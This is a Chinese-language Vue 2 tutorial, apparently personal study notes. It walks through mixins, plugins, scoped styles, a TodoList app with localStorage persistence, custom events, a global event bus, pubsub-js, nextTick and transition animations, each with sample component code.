编写混入文件
mixin.js
1 export const mixin ={ 2 methods: { 3 showName(){ 4 alert(this.name) 5 } 6 }, 7 8 }
引入
1 <template> 2 <div> 3 <h2 @click="showName">学校名称:{{name}}</h2> 4 <h2>学校地址:{{address}}</h2> 5 </div> 6 </template> 7 8 <script> 9 import {mixin} from '../mixin' 10 export default { 11 // eslint-disable-next-line vue/multi-word-component-names 12 name: 'School', 13 14 data() { 15 return { 16 name:'杰马课堂', 17 address:'天堂' 18 }; 19 }, 20 mixins:[mixin] 21 }; 22 </script>
插件
功能:用于增强Vue
本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据
定义插件:
对象.install=function(Vue,options){
}
编写插件:plugins.js
1 export default { 2 install(Vue){ 3 console.log('@@@install') 4 5 Vue.mixin({ 6 data(){ 7 return{ 8 x:100, 9 y:200 10 } 11 }, 12 }) 13 14 } 15 }
使用插件:main.js
1 /* 2 该文件是整个项目的入口文件 3 */ 4 //引入Vue 5 import Vue from 'vue' 6 //引入App组件,它是所有组件的父组件 7 import App from './App.vue' 8 //引入插件 9 import plugins from './plugins'; 10 //关闭vue的生产提示 11 Vue.config.productionTip=false 12 //应用插件 13 Vue.use(plugins) 14 //创建vue实例对象————vm 15 new Vue({ 16 el:'#root', 17 //将app组件放入容器中 18 render:h => h(App) 19 })
scoped样式
- 作用:让样式在局部生效,防止冲突。
- 写法:
<style scoped>
1 <template> 2 <div class="demo"> 3 <h2>学校名称:{{name}}</h2> 4 <h2>学校地址:{{address}}</h2> 5 </div> 6 </template> 7 8 <script> 9 export default { 10 // eslint-disable-next-line vue/multi-word-component-names 11 name: 'School', 12 13 data() { 14 return { 15 name:'杰马课堂', 16 address:'天堂' 17 }; 18 }, 19 20 }; 21 </script> 22 <style scoped> 23 .demo{ 24 background-color: aqua 25 } 26 </style>
总结TodoList案例
App.vue
1 <template> 2 <div id="root"> 3 <div class="todo-container"> 4 <div class="todo-wrap"> 5 <MyHeader :addTodo="addTodo"/> 6 <MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo" /> 7 <MyFooter :todos="todos" @checkAllTodo="checkAllTodo" @clearAllTodo="clearAllTodo"/> 8 </div> 9 </div> 10 </div> 11 </template> 12 <script> 13 import MyHeader from './components/MyHeader' 14 import MyList from './components/MyList' 15 import MyFooter from './components/MyFooter' 16 export default { 17 name:'App', 18 // eslint-disable-next-line vue/no-unused-components 19 components:{ 20 MyHeader, 21 MyList, 22 MyFooter, 23 }, 24 data() { 25 return { 26 todos:[ 27 {id:'001',title:'抽烟',done:true}, 28 {id:'002',title:'喝酒',done:false}, 29 {id:'003',title:'开车',done:true}, 30 ] 31 } 32 }, 33 // data() { 34 // return { 35 // //由于todos是MyHeader组件和MyFooter组件都在使用,所以放在App中(状态提升) 36 // todos:JSON.parse(localStorage.getItem('todos')) || [] 37 // } 38 // }, 39 methods: { 40 //添加一个todo 41 addTodo(todoObj){ 42 this.todos.unshift(todoObj) 43 }, 44 //勾选or取消勾选一个todo 45 checkTodo(id){ 46 this.todos.forEach((todo)=>{ 47 if(todo.id === id) todo.done = !todo.done 48 }) 49 }, 50 //删除一个todo 51 deleteTodo(id){ 52 this.todos = this.todos.filter( todo => todo.id !== id ) 53 }, 54 //全选or取消全选 55 checkAllTodo(done){ 56 this.todos.forEach((todo)=>{ 57 todo.done = done 58 }) 59 }, 60 //清除所有已经完成的todo 61 clearAllTodo(){ 62 this.todos = this.todos.filter((todo)=>{ 63 return !todo.done 64 }) 65 } 66 }, 67 /* watch: { 68 todos:{ 69 deep:true, 70 handler(value){ 71 localStorage.setItem('todos',JSON.stringify(value)) 72 } 73 } 74 }, */ 75 mounted() { 76 this.$bus.$on('checkTodo',this.checkTodo) 77 this.$bus.$on('deleteTodo',this.deleteTodo) 78 }, 79 beforeDestroy() { 80 this.$bus.$off('checkTodo') 81 this.$bus.$off('deleteTodo') 82 }, 83 } 84 </script> 85 86 <style> 87 /*base*/ 88 body { 89 background: #fff; 90 } 91 .btn { 92 display: inline-block; 93 padding: 4px 12px; 94 margin-bottom: 0; 95 font-size: 14px; 96 line-height: 20px; 97 text-align: center; 98 vertical-align: middle; 99 cursor: pointer; 100 box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); 101 border-radius: 4px; 102 } 103 .btn-danger { 104 color: #fff; 105 background-color: #da4f49; 106 border: 1px solid #bd362f; 107 } 108 .btn-danger:hover { 109 color: #fff; 110 background-color: #bd362f; 111 } 112 .btn:focus { 113 outline: none; 114 } 115 .todo-container { 116 width: 600px; 117 margin: 0 auto; 118 } 119 .todo-container .todo-wrap { 120 padding: 10px; 121 border: 1px solid #ddd; 122 border-radius: 5px; 123 } 124 </style>
MyHeader.vue
1 <template> 2 <div class="todo-header"> 3 <input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model="title" @keyup.enter="add"> 4 </div> 5 </template> 6 <script> 7 import {nanoid} from 'nanoid' 8 export default { 9 name:'MyHeader', 10 props:['addTodo'], 11 // data() { 12 // return { 13 // //收集用户输入的title 14 // title:'' 15 // } 16 // }, 17 methods: { 18 add(){ 19 //校验数据 20 if(!this.title.trim()) return alert('输入不能为空') 21 //将用户的输入包装成一个todo对象 22 const todoObj = {id:nanoid(),title:this.title,done:false} 23 this.addTodo(todoObj) 24 //通知App组件去添加一个todo对象 25 this.$emit('addTodo',todoObj,1,2,3) 26 // this.addTodo(todoObj) 27 //清空输入 28 this.title = '' 29 } 30 }, 31 } 32 </script> 33 <style scoped> 34 /*header*/ 35 .todo-header input { 36 width: 560px; 37 height: 28px; 38 font-size: 14px; 39 border: 1px solid #ccc; 40 border-radius: 4px; 41 padding: 4px 7px; 42 } 43 44 .todo-header input:focus { 45 outline: none; 46 border-color: rgba(82, 168, 236, 0.8); 47 box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6); 48 } 49 </style>
MyList.vue
1 <template> 2 <ul class="todo-main"> 3 <MyItem 4 v-for="todoObj in todos" 5 :key="todoObj.id" 6 :todo="todoObj" 7 :checkTodo="checkTodo" 8 :deleteTodo="deleteTodo" 9 /> 10 <!-- <MyItem></MyItem> 11 <MyItem></MyItem> 12 <MyItem></MyItem> 13 <MyItem></MyItem> --> 14 </ul> 15 </template> 16 <script> 17 import MyItem from './MyItem' 18 19 export default { 20 name:'MyList', 21 components:{MyItem}, 22 23 // //声明接收App传递过来的数据,其中todos是自己用的,checkTodo和deleteTodo是给子组件MyItem用的 24 props:['todos','checkTodo','deleteTodo'] 25 26 } 27 </script> 28 <style scoped> 29 /* main */ 30 .todo-main { 31 margin-left: 0px; 32 border: 1px solid #ddd; 33 border-radius: 2px; 34 padding: 0px; 35 } 36 37 .todo-empty { 38 height: 40px; 39 line-height: 40px; 40 border: 1px solid #ddd; 41 border-radius: 2px; 42 padding-left: 5px; 43 margin-top: 10px; 44 } 45 </style>
MyItem.vue
1 <template> 2 <li> 3 <label> 4 <input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/> 5 <!-- 如下代码也能实现功能,但是不太推荐,因为有点违反原则,因为修改了props --> 6 <!-- <input type="checkbox" v-model="todo.done"/> --> 7 <span>{{todo.title}}</span> 8 </label> 9 <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button> 10 </li> 11 </template> 12 <script> 13 export default { 14 name:'MyItem', 15 //声明接收todo对象 16 props:['todo','checkTodo','deleteTodo'], 17 methods: { 18 //勾选or取消勾选 19 handleCheck(id){ 20 //通知App组件将对应的todo对象的done值取反 21 this.checkTodo(id) 22 // this.$bus.$emit('checkTodo',id) 23 }, 24 //删除 25 handleDelete(id){ 26 if(confirm('确定删除吗?')){ 27 //通知App组件将对应的todo对象删除 28 this.deleteTodo(id) 29 // this.$bus.$emit('deleteTodo',id) 30 } 31 } 32 }, 33 } 34 </script> 35 <style scoped> 36 /*item*/ 37 li { 38 list-style: none; 39 height: 36px; 40 line-height: 36px; 41 padding: 0 5px; 42 border-bottom: 1px solid #ddd; 43 } 44 45 li label { 46 float: left; 47 cursor: pointer; 48 } 49 50 li label li input { 51 vertical-align: middle; 52 margin-right: 6px; 53 position: relative; 54 top: -1px; 55 } 56 57 li button { 58 float: right; 59 display: none; 60 margin-top: 3px; 61 } 62 63 li:before { 64 content: initial; 65 } 66 67 li:last-child { 68 border-bottom: none; 69 } 70 71 li:hover{ 72 background-color: #ddd; 73 } 74 75 li:hover button{ 76 display: block; 77 } 78 </style>
MyFooter.vue
1 <template> 2 <div class="todo-footer" v-show="total"> 3 <label> 4 <!-- <input type="checkbox" :checked="isAll" @change="checkAll"/> --> 5 <input type="checkbox" v-model="isAll"/> 6 </label> 7 <span> 8 <span>已完成{{doneTotal}}</span> / 全部{{total}} 9 </span> 10 <button class="btn btn-danger" @click="clearAll">清除已完成任务</button> 11 </div> 12 </template> 13 <script> 14 export default { 15 name:'MyFooter', 16 props:['todos','checkAllTodo','clearAllTodo'], 17 computed: { 18 //总数 19 total(){ 20 return this.todos.length 21 }, 22 //已完成数 23 doneTotal(){ 24 //此处使用reduce方法做条件统计 25 /* const x = this.todos.reduce((pre,current)=>{ 26 console.log('@',pre,current) 27 return pre + (current.done ? 1 : 0) 28 },0) */ 29 //简写 30 return this.todos.reduce((pre,todo)=> pre + (todo.done ? 1 : 0) ,0) 31 }, 32 //控制全选框 33 isAll:{ 34 //全选框是否勾选 35 get(){ 36 return this.doneTotal === this.total && this.total > 0 37 }, 38 //isAll被修改时set被调用 39 set(value){ 40 this.checkAllTodo(value) 41 // this.$emit('checkAllTodo',value) 42 } 43 } 44 }, 45 methods: { 46 /* checkAll(e){ 47 this.checkAllTodo(e.target.checked) 48 }, */ 49 //清空所有已完成 50 clearAll(){ 51 // this.clearAllTodo() 52 this.$emit('clearAllTodo') 53 } 54 }, 55 } 56 </script> 57 <style scoped> 58 /*footer*/ 59 .todo-footer { 60 height: 40px; 61 line-height: 40px; 62 padding-left: 6px; 63 margin-top: 5px; 64 } 65 66 .todo-footer label { 67 display: inline-block; 68 margin-right: 20px; 69 cursor: pointer; 70 } 71 72 .todo-footer label input { 73 position: relative; 74 top: -1px; 75 vertical-align: middle; 76 margin-right: 5px; 77 } 78 79 .todo-footer button { 80 float: right; 81 margin-top: 5px; 82 } 83 </style>
组件化编码流程:
(1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。
(2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:
1).一个组件在用:放在组件自身即可。
2). 一些组件在用:放在他们共同的父组件上(状态提升)。
(3).实现交互:从绑定事件开始。
props适用于:
(1).父组件 ==> 子组件 通信
(2).子组件 ==> 父组件 通信(要求父先给子一个函数)
使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!
props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。
2.3 浏览器本地存储
LocalStorage
LocalStorage是HTML5新引入的特性,由于有的时候我们存储的信息较大,Cookie就不能满足我们的需求,这时候LocalStorage就派上用场了。
LocalStorage的优点:
- 在大小方面,LocalStorage的大小一般为5MB,可以储存更多的信息
- LocalStorage是持久储存,并不会随着页面的关闭而消失,除非主动清理,不然会永久存在
- 仅储存在本地,不像Cookie那样每次HTTP请求都会被携带
LocalStorage的缺点:
- 存在浏览器兼容问题,IE8以下版本的浏览器不支持
- 如果浏览器设置为隐私模式,那我们将无法读取到LocalStorage
- LocalStorage受到同源策略的限制,即端口、协议、主机地址有任何一个不相同,都不会访问
LocalStorage的常用API:
1 // 保存数据到 localStorage 2 localStorage.setItem('key', 'value'); 3 4 // 从 localStorage 获取数据 5 let data = localStorage.getItem('key'); 6 7 // 从 localStorage 删除保存的数据 8 localStorage.removeItem('key'); 9 10 // 从 localStorage 删除所有保存的数据 11 localStorage.clear(); 12 13 // 获取某个索引的Key 14 localStorage.key(index)
LocalStorage的使用场景:
- 有些网站有换肤的功能,这时候就可以将换肤的信息存储在本地的LocalStorage中,当需要换肤的时候,直接操作LocalStorage即可
- 在网站中的用户浏览信息也会存储在LocalStorage中,还有网站的一些不常变动的个人信息等也可以存储在本地的LocalStorage中
SessionStorage
SessionStorage和LocalStorage都是在HTML5才提出来的存储方案,SessionStorage 主要用于临时保存同一窗口(或标签页)的数据,刷新页面时不会删除,关闭窗口或标签页之后将会删除这些数据。
SessionStorage与LocalStorage对比:
- SessionStorage和LocalStorage都在本地进行数据存储;
- SessionStorage也有同源策略的限制,但是SessionStorage有一条更加严格的限制,SessionStorage只有在同一浏览器的同一窗口下才能够共享;
- LocalStorage和SessionStorage都不能被爬虫爬取;
SessionStorage的常用API:
1 // 保存数据到 sessionStorage 2 sessionStorage.setItem('key', 'value'); 3 4 // 从 sessionStorage 获取数据 5 let data = sessionStorage.getItem('key'); 6 7 // 从 sessionStorage 删除保存的数据 8 sessionStorage.removeItem('key'); 9 10 // 从 sessionStorage 删除所有保存的数据 11 sessionStorage.clear(); 12 13 // 获取某个索引的Key 14 sessionStorage.key(index)
SessionStorage的使用场景
由于SessionStorage具有时效性,所以可以用来存储一些网站的游客登录的信息,还有临时的浏览记录的信息。当关闭网站之后,这些信息也就随之消除了。
案例:
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>localStorage</title> 8 9 </head> 10 <body> 11 <h2>localStorage</h2> 12 <button onclick="saveData()">点击保存数据</button> 13 <button onclick="readData()">点击读取数据</button> 14 <button onclick="deleteData()">点击删除数据</button> 15 <button onclick="deleteAllData()">点击清空数据</button> 16 17 <script> 18 let p={name:'张三',age:18} 19 function saveData(){ 20 localStorage.setItem('msg','hello!') 21 localStorage.setItem("msg2",666) 22 localStorage.setItem("person",JSON.stringify(p)) 23 } 24 function readData(){ 25 console.log(localStorage.getItem('msg')) 26 console.log(localStorage.getItem('msg2')) 27 28 const result=localStorage.getItem('person') 29 console.log(JSON.parse(result))//解析result 30 } 31 function deleteData(){ 32 localStorage.removeItem('msg2') 33 } 34 function deleteAllData(){ 35 localStorage.clear() 36 } 37 </script> 38 </body> 39 </html>
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>sessionStorage</title> 8 9 </head> 10 <body> 11 <h2>sessionStorage</h2> 12 <button onclick="saveData()">点击保存数据</button> 13 <button onclick="readData()">点击读取数据</button> 14 <button onclick="deleteData()">点击删除数据</button> 15 <button onclick="deleteAllData()">点击清空数据</button> 16 17 <script> 18 let p={name:'张三',age:18} 19 function saveData(){ 20 sessionStorage.setItem('msg','hello!') 21 sessionStorage.setItem("msg2",666) 22 sessionStorage.setItem("person",JSON.stringify(p)) 23 } 24 function readData(){ 25 console.log(sessionStorage.getItem('msg')) 26 console.log(sessionStorage.getItem('msg2')) 27 28 const result=sessionStorage.getItem('person') 29 console.log(JSON.parse(result))//解析result 30 } 31 function deleteData(){ 32 sessionStorage.removeItem('msg2') 33 } 34 function deleteAllData(){ 35 sessionStorage.clear() 36 } 37 </script> 38 </body> 39 </html>
TodoList本地存储
App.vue
1 <template> 2 <div id="root"> 3 <div class="todo-container"> 4 <div class="todo-wrap"> 5 <MyHeader :addTodo="addTodo"/> 6 <MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo" /> 7 <MyFooter :todos="todos" @checkAllTodo="checkAllTodo" @clearAllTodo="clearAllTodo"/> 8 </div> 9 </div> 10 </div> 11 </template> 12 <script> 13 import MyHeader from './components/MyHeader' 14 import MyList from './components/MyList' 15 import MyFooter from './components/MyFooter' 16 export default { 17 name:'App', 18 // eslint-disable-next-line vue/no-unused-components 19 components:{ 20 MyHeader, 21 MyList, 22 MyFooter, 23 }, 24 data() { 25 return { 26 //由于todos是MyHeader组件和MyFooter组件都在使用,所以放在App中(状态提升) 27 todos:JSON.parse(localStorage.getItem('todos')) || [] 28 } 29 }, 30 31 methods: { 32 //添加一个todo 33 addTodo(todoObj){ 34 this.todos.unshift(todoObj) 35 }, 36 //勾选or取消勾选一个todo 37 checkTodo(id){ 38 this.todos.forEach((todo)=>{ 39 if(todo.id === id) todo.done = !todo.done 40 }) 41 }, 42 //删除一个todo 43 deleteTodo(id){ 44 this.todos = this.todos.filter( todo => todo.id !== id ) 45 }, 46 //全选or取消全选 47 checkAllTodo(done){ 48 this.todos.forEach((todo)=>{ 49 todo.done = done 50 }) 51 }, 52 //清除所有已经完成的todo 53 clearAllTodo(){ 54 this.todos = this.todos.filter((todo)=>{ 55 return !todo.done 56 }) 57 } 58 }, 59 watch: { 60 todos:{ 61 deep:true, 62 handler(value){ 63 localStorage.setItem('todos',JSON.stringify(value))//localStorage存储 64 } 65 } 66 }, 67 mounted() { 68 this.$bus.$on('checkTodo',this.checkTodo) 69 this.$bus.$on('deleteTodo',this.deleteTodo) 70 }, 71 beforeDestroy() { 72 this.$bus.$off('checkTodo') 73 this.$bus.$off('deleteTodo') 74 }, 75 } 76 </script> 77 78 <style> 79 /*base*/ 80 body { 81 background: #fff; 82 } 83 .btn { 84 display: inline-block; 85 padding: 4px 12px; 86 margin-bottom: 0; 87 font-size: 14px; 88 line-height: 20px; 89 text-align: center; 90 vertical-align: middle; 91 cursor: pointer; 92 box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); 93 border-radius: 4px; 94 } 95 .btn-danger { 96 color: #fff; 97 background-color: #da4f49; 98 border: 1px solid #bd362f; 99 } 100 .btn-danger:hover { 101 color: #fff; 102 background-color: #bd362f; 103 } 104 .btn:focus { 105 outline: none; 106 } 107 .todo-container { 108 width: 600px; 109 margin: 0 auto; 110 } 111 .todo-container .todo-wrap { 112 padding: 10px; 113 border: 1px solid #ddd; 114 border-radius: 5px; 115 } 116 </style>
2.4 组件自定义事件
组件自定义事件是一种组件间通信的方式,适用于:子组件 ===> 父组件
使用场景
A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。
绑定自定义事件:
- 第一种方式,在父组件中:<Demo @atguigu="test"/>或 <Demo v-on:atguigu="test"/>
- 第二种方式,在父组件中:使用
this.$refs.xxx.$on()这样写起来更灵活,比如可以加定时器啥的。
APP.vue
<template> <div class="app"> <h1>{{msg}}</h1> <!-- 将方法交给子组件 --> <School :getSchoolName="getSchoolName"></School> <!-- v-on:绑定事件 简写@ --> <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递(第一种写法:使用@) --> <!-- <Student @atjiema="getStudentName"></Student> --> <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递(第二种写法:使用ref) --> <Student ref="student"></Student> </div> </template> <script> import Student from './components/Student' import School from './components/School' export default { name:'App', data() { return { msg:'你好啊' } }, components:{ Student, School }, methods: { //写一个方法给子组件调用,接收学校名 getSchoolName(name){ console.log('APP收到了学校名',name) }, getStudentName(name,...params){ console.log('APP收到了学生名',name,...params) }, }, mounted() { setTimeout(() => { // this.$refs.student.$on('atjiema',this.getStudentName) this.$refs.student.$once('atjiema',this.getStudentName)//只触发一次 }, 3000); }, } </script> <style> .app{ background-color: aquamarine; padding: 5px; } </style>
School.vue
1 <template> 2 <div class="school"> 3 <h2>学校名称:{{name}}</h2> 4 <h2>学校地址:{{address}}</h2> 5 <button @click="sendSchoolName">把学校名给APP</button> 6 </div> 7 </template> 8 9 <script> 10 export default { 11 // eslint-disable-next-line vue/multi-word-component-names 12 name: 'School', 13 //接收来自父组件的方法 14 props:['getSchoolName'], 15 data() { 16 return { 17 name:'杰马课堂', 18 address:'天堂' 19 }; 20 }, 21 methods: { 22 //调用父组件的方法传递学校名 23 sendSchoolName(){ 24 this.getSchoolName(this.name) 25 } 26 }, 27 28 }; 29 </script> 30 <style scoped> 31 .school{ 32 background-color: aqua; 33 padding: 5px 34 } 35 </style>
Student.vue
1 <template> 2 <div class="student"> 3 <h2>学生姓名:{{name}}</h2> 4 <h2>学生性别:{{sex}}</h2> 5 <button @click="sendStudentName">把学生名给APP</button> 6 </div> 7 </template> 8 9 <script> 10 export default { 11 // eslint-disable-next-line vue/multi-word-component-names 12 name: 'Student', 13 14 data() { 15 return { 16 name:'张三', 17 sex:'男' 18 }; 19 }, 20 methods: { 21 sendStudentName(){ 22 //触发Student组件实例身上的atjiema事件 23 this.$emit('atjiema',this.name,666,888,999);//this.$emit:触发vc下指定事件 24 } 25 }, 26 }; 27 </script> 28 <style> 29 .student{ 30 background-color: brown; 31 padding: 5px; 32 margin-top: 30px 33 } 34 </style>
若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。
触发自定义事件:this.$emit('atguigu',数据)
使用 this.$emit() 就可以子组件向父组件传数据
解绑自定义事件this.$off('atguigu')
1 this.$off('atguigu') //解绑一个自定义事件 2 // this.$off(['atguigu','demo']) //解绑多个自定义事件 3 // this.$off() //解绑所有的自定义事件
组件上也可以绑定原生DOM事件,需要使用native修饰符。
1 <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) --> 2 <Student ref="student" @click.native="show"/>
注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!
2.5 全局事件总线
-
一种组件间通信的方式,适用于任意组件间通信。
-
安装全局事件总线:
1 new Vue({ 2 ...... 3 beforeCreate() { 4 Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm 5 }, 6 ...... 7 })
-
使用事件总线:
-
接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。
1 methods(){ 2 demo(data){......} 3 } 4 ...... 5 mounted() { 6 this.$bus.$on('xxxx',this.demo) 7 }
2.提供数据:
this.$bus.$emit('xxxx',数据) -
-
最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。
School.vue
<template> <div class="school"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> </template> <script> export default { // eslint-disable-next-line vue/multi-word-component-names name: 'School', //接收来自父组件的方法 data() { return { name:'杰马课堂', address:'天堂' }; }, mounted() { console.log('School',this.x) this.$bus.$on('hello', (data)=> { console.log('我是School组件,收到了数据',data) }); }, beforeDestroy() { this.$bus.$off('hello') }, }; </script> <style scoped> .school{ background-color: aqua; padding: 5px } </style>
Student.vue
1 <template> 2 <div class="student"> 3 <h2>学生姓名:{{name}}</h2> 4 <h2>学生性别:{{sex}}</h2> 5 <button @click="sendStudentName">把学生们给School组件</button> 6 </div> 7 </template> 8 9 <script> 10 export default { 11 // eslint-disable-next-line vue/multi-word-component-names 12 name: 'Student', 13 14 data() { 15 return { 16 name:'张三', 17 sex:'男' 18 }; 19 }, 20 methods: { 21 sendStudentName(){ 22 this.$bus.$emit('hello',this.name) 23 } 24 }, 25 mounted() { 26 // console.log('Student',this.x) 27 }, 28 }; 29 </script> 30 <style> 31 .student{ 32 background-color: brown; 33 padding: 5px; 34 margin-top: 30px 35 } 36 </style>
main.js
1 /* 2 该文件是整个项目的入口文件 3 */ 4 //引入Vue 5 import Vue from 'vue' 6 //引入App组件,它是所有组件的父组件 7 import App from './App.vue' 8 //关闭vue的生产提示 9 Vue.config.productionTip=false 10 11 //创建vue实例对象————vm 12 new Vue({ 13 el:'#root', 14 //将app组件放入容器中 15 render:h => h(App), 16 17 //安装全局事件总线 18 beforeCreate() { 19 Vue.prototype.$bus=this 20 }, 21 })

2.6 消息订阅与发布
1.一种组件间通信的方式,适用于任意组件间通信。
2.使用步骤:
-
- 安装pubsub:npm i pubsub-js
- 引入: import pubsub from 'pubsub-js'
3. 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。
1 methods:{ 2 demo(data){......} 3 } 4 ...... 5 mounted() { 6 this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息 7 }
4.提供数据:pubsub.publish('xxx',数据)
5. 最好在beforeDestroy钩子中,用PubSub.unsubscribe(pid)去取消订阅。
School.vue
1 <template> 2 <div class="school"> 3 <h2>学校名称:{{name}}</h2> 4 <h2>学校地址:{{address}}</h2> 5 </div> 6 </template> 7 8 <script> 9 import pubsub from 'pubsub-js' 10 export default { 11 // eslint-disable-next-line vue/multi-word-component-names 12 name: 'School', 13 //接收来自父组件的方法 14 data() { 15 return { 16 name:'杰马课堂', 17 address:'天堂' 18 }; 19 }, 20 mounted() { 21 // console.log('School',this.x) 22 /* this.$bus.$on('hello', (data)=> { 23 console.log('我是School组件,收到了数据',data) 24 }); */ 25 this.pubId= pubsub.subscribe('hello',function(msgName,data){ 26 console.log('有人发布了hello消息,hello消息的回调执行了',msgName,data) 27 }) 28 }, 29 beforeDestroy() { 30 pubsub.unsubscribe(this.pubId) 31 }, 32 }; 33 </script> 34 <style scoped> 35 .school{ 36 background-color: aqua; 37 padding: 5px 38 } 39 </style>
student.vue
1 <template> 2 <div class="student"> 3 <h2>学生姓名:{{name}}</h2> 4 <h2>学生性别:{{sex}}</h2> 5 <button @click="sendStudentName">把学生们给School组件</button> 6 </div> 7 </template> 8 9 <script> 10 import pubsub from 'pubsub-js' 11 export default { 12 // eslint-disable-next-line vue/multi-word-component-names 13 name: 'Student', 14 15 data() { 16 return { 17 name:'张三', 18 sex:'男' 19 }; 20 }, 21 methods: { 22 sendStudentName(){ 23 // this.$bus.$emit('hello',this.name) 24 pubsub.publish('hello',666) 25 } 26 }, 27 28 }; 29 </script> 30 <style> 31 .student{ 32 background-color: brown; 33 padding: 5px; 34 margin-top: 30px 35 } 36 </style>
2.7 nextTick
- 语法:
this.$nextTick(回调函数) - 作用:在下一次 DOM 更新结束后执行其指定的回调。
- 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。
具体案例 1 this.$nextTick(function(){ 2 this.$refs.inputTitle.focus() 3 }
2.8 Vue封装的过度与动画
-
作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名。
-
写法:
准备好样式:
元素进入的样式:
v-enter:进入的起点
v-enter-active:进入过程中
v-enter-to:进入的终点
元素离开的样式:
v-leave:离开的起点
v-leave-active:离开过程中
v-leave-to:离开的终点
使用<transition>包裹要过渡的元素,并配置name属性:1 <transition name="hello"> 2 <h1 v-show="isShow">你好啊!</h1> 3 </transition>
备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。
1 <template> 2 <div> 3 <button @click="isShow=!isShow">显示/隐藏</button> 4 <!-- appear一开始就有效果 --> 5 <transition name="hello" appear> 6 <h1 v-show="isShow">你好啊!</h1> 7 </transition> 8 </div> 9 </template> 10 <script> 11 export default { 12 // eslint-disable-next-line vue/multi-word-component-names 13 name: 'Test', 14 data() { 15 return { 16 isShow: 'true' 17 } 18 }, 19 } 20 </script> 21 <style scoped> 22 h1 { 23 background-color: gold 24 } 25 /* 如果给<transition name="hello">命名为hello,需要用.hello-enter-active*/ 26 /* 如果没有命名,使用.v-enter-active */ 27 .hello-enter-active { 28 animation: atjiema 0.5s linear; 29 } 30 31 .hello-leave-active { 32 animation: atjiema 0.5s linear reverse; 33 } 34 35 @keyframes atjiema { 36 from { 37 transform: translateX(-100%) 38 } 39 to { 40 transform: translateX(0px) 41 } 42 } 43 </style>
1 <template> 2 <div> 3 <button @click="isShow=!isShow">显示/隐藏</button> 4 <!-- appear一开始就有效果 --> 5 <transition name="hello" appear> 6 <h1 v-show="isShow">你好啊!</h1> 7 </transition> 8 </div> 9 </template> 10 <script> 11 export default { 12 // eslint-disable-next-line vue/multi-word-component-names 13 name: 'Test2', 14 data() { 15 return { 16 isShow: 'true' 17 } 18 }, 19 } 20 </script> 21 <style scoped> 22 h1 { 23 background-color: gold 24 25 } 26 /* 进入的起点,离开的终点 */ 27 .hello-enter,.hello-leave-to{ 28 transform: translateX(-100%) 29 } 30 .hello-enter-active,.hello-leave-active{ 31 transition: 0.5s linear 32 } 33 /* 进入的终点,离开的起点 */ 34 .hello-enter-to,.hello-leave{ 35 transform: translateX(0) 36 } 37 38 39 </style>
1 <template> 2 <div> 3 <button @click="isShow=!isShow">显示/隐藏</button> 4 <!-- appear一开始就有效果 --> 5 <transition-group name="hello" appear> 6 <h1 v-show="isShow" key="1">你好啊!</h1> 7 <h1 v-show="isShow" key="2">杰马集团</h1> 8 </transition-group> 9 </div> 10 </template> 11 <script> 12 export default { 13 // eslint-disable-next-line vue/multi-word-component-names 14 name: 'Test3', 15 data() { 16 return { 17 isShow: 'true' 18 } 19 }, 20 } 21 </script> 22 <style scoped> 23 h1 { 24 background-color: gold 25 26 } 27 /* 进入的起点,离开的终点 */ 28 .hello-enter,.hello-leave-to{ 29 transform: translateX(-100%) 30 } 31 .hello-enter-active,.hello-leave-active{ 32 transition: 0.5s linear 33 } 34 /* 进入的终点,离开的起点 */ 35 .hello-enter-to,.hello-leave{ 36 transform: translateX(0) 37 } 38 39 40 </style>
使用第三库的具体案例(随便看看,这个不重要)
库的名称:Animate.css
安装:npm i animate.css
引入:import ‘animate.css
